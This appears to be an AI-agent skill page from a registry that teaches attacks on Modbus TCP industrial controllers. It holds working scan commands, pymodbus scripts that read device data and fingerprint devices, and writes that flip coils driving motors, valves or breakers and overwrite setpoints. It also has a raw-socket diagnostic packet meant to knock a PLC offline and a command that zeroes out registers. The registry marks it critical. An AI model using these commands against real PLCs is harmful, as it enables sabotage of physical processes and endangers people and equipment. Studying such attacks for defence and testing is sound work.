Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.
65
79%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.mdModbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.
# Scan for port 502
nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24
# Or with Shodan / Censys: port:502 country:XX
# Internet-facing Modbus is still depressingly common (search "modbus" on Shodan)# Python pymodbus
python3 -c '
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
print("Coils 0-100:", c.read_coils(0, 100).bits)
print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits)
print("Hold regs:", c.read_holding_registers(0, 100).registers)
print("Input regs:", c.read_input_registers(0, 100).registers)
c.close()
'
# Or with mbtget (CLI)
mbtget -r1 -a 0 -n 100 10.0.0.5 # read coils
mbtget -r3 -a 0 -n 100 10.0.0.5 # read holding regs
# nmap script enum
nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5# Function code 43 (Read Device Identification) returns vendor / model / firmware
python3 -c '
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
r = c.execute(ReadDeviceInformationRequest(read_code=1))
print(r.information)
c.close()
'
# Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...}c.write_coil(address=10, value=True) # flip coil 10 ON
# In a PLC, coil 10 might be: motor start, valve open, breaker closec.write_register(address=100, value=9999) # often a setpoint or limit# Stops the PLC from responding to ANY Modbus request — soft DoS
# Use raw socket:
import socket, struct
s = socket.socket()
s.connect(("10.0.0.5", 502))
mbap = struct.pack(">HHHB", 1, 0, 6, 1)
pdu = struct.pack(">BHH", 8, 0x0004, 0x0000)
s.send(mbap + pdu)c.write_registers(address=0, values=[0]*100) # zero-out 100 registers| Finding | Impact |
|---|---|
| Modbus on internet | Full process control of whatever the PLC drives |
| No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC |
| Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN |
| HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper |
| Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) |
modbus_function_5 and modbus_function_15 are distinctive in their telemetry.0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.